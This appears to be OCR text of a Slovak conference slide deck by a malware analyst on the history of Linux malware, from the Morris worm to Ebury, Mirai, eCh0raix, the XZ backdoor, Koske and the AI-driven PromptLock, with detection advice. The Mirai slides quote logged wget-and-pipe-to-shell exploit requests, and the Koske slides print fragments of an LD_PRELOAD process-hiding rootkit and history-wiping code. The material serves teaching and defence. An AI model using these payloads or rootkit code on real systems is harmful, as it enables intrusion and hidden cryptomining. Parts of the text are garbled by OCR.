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# whoami

* KyberbezpecCnost

* Analyza malvéeru

* RieSenie incidentov

* Vzdelavanie

* Analytik sietovych infiltracii, ESE

e Disclaimer...




Zopar otazok namiesto uvodu

* Pouzivate nejaky antimalvér pre Linux?

- Proprietarny antimalveér?

Zdroj: https://freepngimg.com/png/18960-virus-png-image
https://freepngimg.com/png/17628-shield-png-hd

— Open Source riesenie?

* EDR néastroj pre Linux?
— Endpoint Detection and Response

e Sietove IDS/IPS?
- V domacej sieti? Vo firme?




Zopar otazok namiesto uvodu

* Poznate aspon jeden malveér pre Linux?

Zdroj: https://freepngimg.com/png/18960-virus-png-image



Zopar otazok namiesto uvodu

* Poznate aspon jeden malveér pre Linux?
— Trojsky kon?
- Botnet?
- Rootkit?
- Ransomver?
- Coinminer?
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Taxonomia
.+ 1991, CARO

— Computer Antivirus Research Organization

Backdoor: Win32/ Caphaw .D
Type: Platform/ Family Variant

Backdoor:Win32/Caphaw.D!Ink

Zdroj: https://docs.microsoft.com/en-us/windows/security/threat-protection/intelligence/malware-naming



Trocha histoérie

¢ 1988: Morrisov éerv | The Morris Internet Worm

source code
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— Zranitelnosti v sendmail a finger
- DoOveryhodné rexec a rsh

Zdroj: https://en.wikipedia.org/wiki/File:Morris_Worm.jpg



Trocha historie

e 1988: Morrisov cerv
e 1991: Linux




Trocha historie

STAO0G

e 1988: Morrisov cerv
e 1991: Linux

yo ho.. welcome to yet another attempt at the
impossible and improbable. This virus is a fully
resident linux elf infector. It will infect files

cute regardl of who execu them.
this by hacking root via
exploits and installing itself in the kernel.

no trace of itself in drop Tiles or other noticable

locations but contains no stealth of any type.

This is not a ipt wirus. It is written in 16
at&t style asm. To compile:

Virus Labs & Distribution

° 1 9 9 6 - St ao g VLAD #7 - STAOG Linux Virus

gcc vircode.s -o vircode
strip vircode

V4 V4 V4 . filesize should be 4744 bytes. If not put the filesize
— PrV Znam malver re LI n ux in the .long at 'filesize:' and recompile and strip.
y y Then execute to install. After installation the
ted binary will automatically be deleted.
some re n this wirus will only work on ELF machines
running 1 kernel.

- Infikuje ELF subory

- Skupina VLAD (Australia) (e S
* tiez 1. znamy virus pre Win95

QUANTUM » VLAD
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Zdroj: https://www.wiw.org/~meta/vlad.php?read=ARTICLE.2_4&issue=7&desc=STAOG%20Linux%20Virus



Trocha historie

1988: Morrisov cerv

1991: Linux
1996: Staog .
1997 Bliss doiworl'm_stuff()

/etc/hosts.equilv

- Infikuje ELF subory
- Sirenie ako Cerv, hlada zariadenia v hosts.equiv
- Bezpecnostné varovania distribucii, napr. Debian

Zdroj: https://www.f-secure.com/v-descs/bliss.shtml



Trocha historie

1988: Morrisov cerv
1991: Linux
1996: Staog

| |
1 9 9 7 . B I I SS /tmp/.bugtrag  This is the copy of the worm that is running on the infected system.

/tmp/.bugtrag.c This is the source code to the worm that is running on the infected system.

This is the uuencoded copy of the worm that is running on the infected system. This file is also used by
m /tmp/.uubugtrag
- the worm to propagate itself to other systems.

- Botnet, 13 000 infikovanych serverov
- Zranitelnost v Apache mod_ss|

Zdroj: https://linuxsecurity.com/features/what-is-slapper



(Takmer) sucasnost’

e 2011: Ebury
— Objaveny v 2014
- SSH backdoor
- kradne prihlasovacie udaje

OPERATION
WINDIGO

J ers in total affected
500,000 computers attacked daily

Zdroj: https://lwww.eset.com/int/about/newsroom/press-releases/announcements/operation-windigo-largest-server-botnet-uncovered/



(Takmer) sucasnost’

] LICENSE

« 2011: Ebury =

] README.md

* 2014: Azazel -

] client.c

— Open Source userspace rootkit gy

] crypthook.c

1 crypthook.h

] pam.c

Zdroj: https://github.com/



(Takmer) sucasnost’
SynoLocker™

e 2011: Ebury
n
Automated Decryption Service
° 2 O 1 A I All important files on this NAS have been encrypted using strong cryptography
4: Azaze

List of encrypted files available he

Follow these simple steps if files recovery is needed:

1. Download and install Tor Browser,
. 2. Open Tor Browser and visit http://cypherxffttr7hho.onion. This link works enly with the Tor Browser.
u 3. Login with your identification code to get further instructions on how to get a decryption key.
4.
5

. Your identification code is (also visible here).
. Follow the instructions on the decryption page once a valid decryption key has been acquired.

- Ransomver pre Synology rs«sseemmsmme
- Zranitelnosti v DSM

The RSA-2048 public key is sent to this system while the private key stays in the remote server database.

Arandom 256-bit key is generated on this system when a new file needs to be encrypted.

This 256-bit key is then used to encrypt the file with AES-256 CBC symmetric cipher.

The 256-bit key is then encrypted with the RSA-2048 public key.

The resulting encrypted 256-bit key is then stored in the encrypted file and purged from system memory.

The original unencrypted file is then overwrited with random bits before being deleted from the hard drive.

The encrypted file is renamed to the original filename.

To decrypt the file, the software needs the RSA-2048 private key attributed to this system from the remote server.
Once a valid decryption key is provided, the software search each files for a specific string stored in all encrypted files.
When the string is found, the software extracts and decrypts the unique 256-bit AES key needed to restore that file.

Note: Without the decryption key, all encrypted files will be lost forever.

Copyright © 2014 SynoLacker™ All Rights Reserved.

Zdroj: https://www.root.cz/clanky/synolocker-diskova-pole-synology-tercem-vyderacu/



(Takmer) sucasnost’

2011: Ebury
2014: Azazel
2014: SynolLocker

[ README.md

20 16 : M i rai 0 README & GPL-3.0 license

— 10T Botnet, DD0S l:ItOky Mirai Source Code (FOR

EDUCATIONAL & RESEARCH |
— Open Source README.md | You're reading it

Zdroj: https://github.com/



(Takmer) sucasnost’

2 O 11 - E b u ry €« c @ ® © veqlxhq7ubSqze3qy562x2cig2e6tzsgyds % O #
. eChOraix order page
2 O 1 4 AZ az e I Status: Waiting Payment...
" If you want decrypting your files send 0.0547 ‘E BTC(bitcoin)
to this address: 178 uniy 4%%.3‘554?1%%5?{5}5({?:"{@é?,,iﬂ@‘
2016: Miral
[ ]
2019: EchOraix/IQNAPCrypt
- yp

Or use QR code

Check payment and get decryptor

- Ransomvér, zneuziva slabé hesla

Zdroj: https://howtofix.guide/echOraix-ransomware-again-attacks-gnap-nas/




(Takmer) sucasnost’

2011: Ebury

2014: Azazel

2014: SynolLocker

2016: Miral

2019: EchOraix/ QNAPCrypt

2019: HiddenWasp
- Trojan, userspace rootkit, kod z Azazel + Mirai)

Zdroj: https://intezer.com/blog/hiddenwasp-malware-targeting-linux-systems/




(Takmer) sucasnost’

2011: Ebury

2014: Azazel

2014: SynolLocker

2016: Miral

2019: EchOraix/ QNAPCrypt

2019: HiddenWasp

2020: Drovorub — APT kernel rootkit + C2 toolkit



Sucasnost’

* 2024: XZ Utils

— Backdoor v utilite xz (kniznica liblzma), ,,supply chain®
« Komprimovaneé testovacie subory so sSkodlivym kddom

- Vzdialeny pristup cez OpenSSH
» Specificky ED448 kli¢

- OpenSSH + 3rd party patch => libsystemd => liblzma
e Tarball s makrom, ktoré injektovalo skodlivy kod

- Stale pritomny v niektorych docker images (aj Debian)



Sucasnost’

e 2024: XZ Utils
e Jul 2025: KOske

— Coinminer vygenerovany pomocou Al

- Mozna srbsko-slovenska stopa? _ -

Zdroj: https://malwarelab.eu/posts/koske-panda-ai/



Sucasnost’

» 2024: XZ Utils
* Jul 2025: KOske
* August 2025: PromptLock

- Ransomvér pohanany umelou inteligenciou

- Golang, multiplatformovy (Windows, Linux, MacOS)
- Generovanie Lua skriptov pomocou Al

- Koncept, vyskumny projekt NYU

You are a Lua code generator. Generate clean, working Lua code wrapped in <code> </code> tags without any comment

s.Message 2 content: We need to verify the contents of several files in order to determine if they contain PII o
sensitive information.

Zdroj: https://infosec.exchange/ @ESETresearc! h/115095803130379945



Vybrané rodiny malveru




Ebury /| Operation Windigo

 Coto je:

- OpenSSH backdoor a credential stealer
* Ciel:

— Kradnutie SSH pristupov (Linux/Ebury)

- Presmerovanie webov a domen na malveér (Linux/Cdorked, Linux/Onimiki)
- Posielanie spamu (Perl/Calfbot)

* Obete:
- kernel.org (2011), cPanel (2013)

— 400 000+ serverov celkovo od 2009
— 100 000+ stale kompromitovanych aj v 2023



Ebury

e Zaujimavosti:

- Stealth, portable, vysoka kvalita kodu
* Mnoho Linux distribucii, SSH backdoor aj na FreeBSD
* Nezanechavanie stop v logoch
e Unix pipes namiesto suborov
 Uprava OpenSSH konfiguracie v paméti, nie na disku
* Bez exfiltracie, ak je sietove rozhranie v promiskuithom
rezime
- Bez exploitov, iba slabé hesla



Ebury

e Zaujimavosti:

- Nové verzie, aktivhe 15+ rokov

— NeskorsSie ciele:

* Bitcoin a Ethereum uzly a hesla ku kryptomenovym penazenkam

. . 7 . [j SSH AitM host
- Odchytavanie SSH komunikacie T L

_ SSHkeys and Bitcoin wallets T

redirects SSH traffic using

* Man in the Middle a ARP spoofing

* Kompromitovany server v rovnakej sieti

Zdroj: https://WWW.WeIivesecurity.com/en/eset—research/ebury—alive—unseen—400k—|inux—servers—compromised—cryptotheft—financial—gain/



Ebury

e SSH Backdoor

- Heslo + prikaz v SSH verzii clienta
- Sifrované IP adresou operatora

0x00 BYTE[11l] backdoor password
0x0F BYTE[4] optional command ("Xcat®, “Xbnd® or “Xver®)
0x13 BYTE[4] optional command argument (ip address)

SSH-2.0-fb54c28bal02cd73clfe43

» Xcat a Xver prikazy dostupné lokalne
- ssh -G <hexstring>

Zdroj: https://web-assets.esetstatic.com/wls/2014/03/operation_windigo.pdf



Ebury

e Detekcia:

- (siet) ssh verzia s backdoorom
- (host) ,ssh -G*



Ebury

* Detekclia:
- (siet) ssh verzia s backdoorom
- (host) ,ssh -G*
- Avsak OpenSSH 6.8/6.8p1 (2015-03-18):

ssh(1): Add a -G option to ssh that causes it to parse
its configuration and dump the result to stdout



Ebury

* Detekclia:
- (siet) ssh verzia s backdoorom
- (host) ,ssh -G*
- Avsak OpenSSH 6.8/6.8p1 (2015-03-18):

ssh(1): Add a -G option to ssh that causes it to parse
its configuration and dump the result to stdout

— https://github.com/eset/malware-research/blob/
master/ebury/detect_ebury.sh



Miral

» Coto je:
- |oT botnet
e Ciel:
- DDoS utoky

e Obete:

- Zle zabezpeceneé IoT zariadenia

- KrebsOnSecurity, OVH, DynDNS, internetova
infrastruktura




Miral

e Zaujimavosti
— Open Source => r0zne varianty
- Bruteforce na prednastavené prihlasovacie Udaje

- Exploity na niektore zranitelnosti
e 2017 zero-day zranitelnosti v smerovacoch Huawei HG532
e 2018 exploit na D-Link HNAP (Home Network Administration Protocol)

- ROzne architektlry
* X86, ARM, MIPS, PowerPC, ARC, m68k, ...



Miral

* Detekcia
— Snort/Suricata pravidla: Mirai, HNAP exploit

2058708 ET SCAN ELF/Mirai Variant UDP (Inbound) M2 Dec 31, 2024
2058707 ET SCAN ELF/Mirai Variant UDP (Inbound) M1 Dec 31, 2024
2062285 ET EXPLOIT D-Link HNAP - Request Remote Buffer Overflow M3 (CVE-2014-3936) etfopen May 12,
2025
2062282  ET EXPLOIT D-Link HNAP - Request Remote Buffer Overflow M1 (CVE-2014-3936) May 12,
2025
2062284 ET EXPLOIT D-Link HMAP - Request Remote Buffer Overflow M2 (CVE-2014-3938) etfopen May 12,
2025
2061622  ET WEB_SPECIFIC_APPS D-Link DIR-823G Multiple HNAP SOAPAction Endpoints Authentication Bypass (CVE-2025- Apr 16, 2025
23509, CVE-2025-2360)
20681623 ET WEB_SPECIFIC_APPS D-Link DIR-823G Multiple HNAP SOAPAction Endpoints Authentication Bypass etfopen Apr 18, 2025
2052820  ET EXPLOIT D-Link DIR-X4860 RCE Attempt Inbound etfopen May 22,
2024
2034491  ET EXPLOIT D-Link HNAP SOAPAction Command Injection (CVE-2015-2051) Nov 17, 2021
2020899 ET EXPLOIT D-Link Devices Home Network Administration Protocol Command Execution atfopen Apri3, 2015

Zdroj: https://rules.evebox.org/



Miral

e Detekcla

- Pokusy o Sirenie botnetu — access.log

- "GET /cgi-bin/luci/;stok=/locale?
form=country&operation=write&country=%(wget%s20http%s3A//
XAk ckkk kkk kkk /router.tplink.sh%20-0-%7Csh) HTTP/1.1“

- "GET
/index.php?s=/index/\x09hink\x07pp/invokefunction&function=call user
func _array&vars[0Q]=shell exec&vars[1l][]='wget
http://%¥%*x Fkx *kx **x*x/hins/x86 -0 thonkphp ; chmod 777
thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1"

- "GET / HTTP/1.1" 404 146 "-" "() { :; }; /bin/bash -c \x22(wget -qO-
http://*** F**x *x*x **x/rondo.qre.sh||busybox wget -qO-
http://*** F¥*x **xx *xx/rondo.qre.sh||curl -s
http://*** F**x *x*x **x/rondo.qre.sh) |sh\x22& #Mozilla/5.0“



EchOraix

» Coto je:

- Jednoduchy ransomvér
* Ciel:

- Sifrovat stibory a ziadat' vykupné
* Obete:

- SMB a SOHO NAS
- QNAP, Synology



EchOraix

e Zaujimavosti

— Verzie pre x86 a ARM, ~ 400 riadkov v Go

- Symetrické AES Sifrovanie, eChOraix marker

— Prioritizacia Sifrovania podla pripon (2 skupiny)

- Najprv zasifruje, potom zmaze => mozna obnova

— KIUC generovany lokalne, alebo z C2 servera:

ISOM  Raw Data Headers

e KIU€, ransomnote, hitcoin adresa

ave Copy Collapse Al Expand All

- Socks5 Proxy + TOR e e i s

Zdroj: https://unit42.paloaltonetworks.com/echOraix-ransomware-soho/



EchOraix

e Detekcla

- Sietova komunikacia: Socks5 proxy + .onion domeéna

= Transmission Control Protocol, Src Port: 53346, Dst Port: 9100, Seq: 4, Ack: 3, Le
Source Port: 53346
Destination Port: 9100
[Stream index: @]
[TCP Segment Len: 69]
Sequence number: 4 (relative seguence number)

DEZE @1 6 ae dd 0@ 00 81 @1 @8 Ba 3c OF 29 fd 31 89 - -0 e )l

BE4E 76 37 7o - - - X

BEsA 79 69 il

BEGE 78 77

BETE 6T 64 atmagid.

BEER
alert tcp [$HOME_MET, $HTTP_SERVERS] any SEXTERNAL_MET any (msg:"ET INFO Onion/TOR Proxy Client Reguest"; Tlow:established, to_
server; content:" |05 91 oo|"; startswith; content:".onion"; distance:®; fast_pattern; isdataat:!3,relative; flowbits:set,ET.zhtr

Zdroj: https://rules.evebox.org/rule/et/open/2032083



KOske
Cotoje
- Malvér vygenerovany pomocou Al (jul/Cervenec 2025)
Ciel:
- Tazenie kryptomien
Obete:

— Cloud servery, nespravne nakonfigurovane sluzby
- JupyterLab

Slovenska stopa?



KOske

e Zaujimavosti
- Malvér skryty v obrazkoch s pandami

— User-mode rootkit cez LD PRELOAD a readdir()



KOske

e Zaujimavosti

33[em"

E_MINER
ARE
DOWNLOAD
COIN
t ALGORITAM




KOske

e Zaujimavosti
- Srbsko-slovenska stopa?

BLEEPINGCOMPUTER

TUTORIALS -~ VIRUS REMOVAL GUIDES ~ DOWNLOADS ~

AquaSec identified Serbia-based IP addresses used in the attacks, Serbian phrases in the scripts, and
in the GitHub repository hosting the miners, but it could make no confident attribution.

Zdroj: https://www.bleepingcomputer.com/news/security/new-koske-linux-malware-hides-in-cute-panda-images/



KOske

e Zaujimavosti
- Srbsko- slovenska stopa’?

|—-|_,|‘|| ] -E

return
Ovo je operativni sistem:

echo -ge

Nema GPU na serveru :( za mining! f1i

Arhitektura sistema: x86_64
Tip Procesora HOSTTYPE: x86_64
Ime procerora je: Intel{(R) Core(TM) 15-6480 CPU @ 2.78GHz - 4 CPU cores/threads.

Zdroj: https://malwarelab.eu/posts/koske-panda-ai/



KOske

e Zaujimavosti
- Srbsko-slovenska stopa?

T

Zdroj: https://malwarelab.eu/posts/koske-panda-ai/



KOske

e Zaujimavosti
- Srbsko-slevenska stopa?

Google Prekladac

Hp Text M Obrazky B Dokumenty BN Weby

slovenéina (rozpoznané) slovenéina angliétina nemcina w - anglictina slovengéina nemcina

vozstanica X train station

Zdroj: https://translate.google.com/?sl=auto&tl=en&text=vozstanica&op=translate



KOske

e Zaujimavosti
- Per2|stenC|a cez .bashrc a .bash_logout a zametanie stop

_MINING="
MINING_BACKUP="

brisanjeIstorije(){
cl

anje istorije iz memorije i fajla

i ' -W
rm -f ~/.bash_history ~/.viminfo ~/.wget-hsts

Zdroj: https://malwarelab.eu/posts/koske-panda-ai/



KOske

e Zaujimavosti
- Hideproc: User-mode rootkit cez LD PRELOAD a readdir()

char hidden_pid[32]
const char *hidden_file

void load_hidden_pid() {
FILE *fp = fopen("/dev/shm/.hiddenpid", "r");

if (fp) {
if (fgets(hidden_pid, sizeof(hidden_pid), fp) !
hidden_pid[strcspn(hidden_pid, "\n")] = ©;

1
f!

fclose(fp);

Zdroj: https://malwarelab.eu/posts/koske-panda-ai/



KOske

e Zaujimavosti
- Hideproc: User-mode rootkit cez LD PRELOAD a readdir()

struct dirent
stati

orig_readdir = (readdir_t)dlsym(RTLD_NEXT, "readdir");
.
J

struct dirent *entry;

while ((entry = orig_readdir(dirp)) != NULL) {

. SKIFPFED ...
load_hidden_pid();

¢ folder
, ||_ 5 ||] e ] _[
la] 1= '\B' && strcmp(entry->d_name, hidden_pid) == 08) {

ovaj PID

Zdroj: https://malwarelab.eu/posts/koske-panda-ai/



aver

Malvér pre Linux je realny

Botnety, backdoory, ina zloba

Zranitelnosti, zla konfiguracia, slabé hesla, supply-chain
(Ne)interaktivita, doveryhodné zdroje softveru

Mastodon: @malwarelab eu@infosec.exchange
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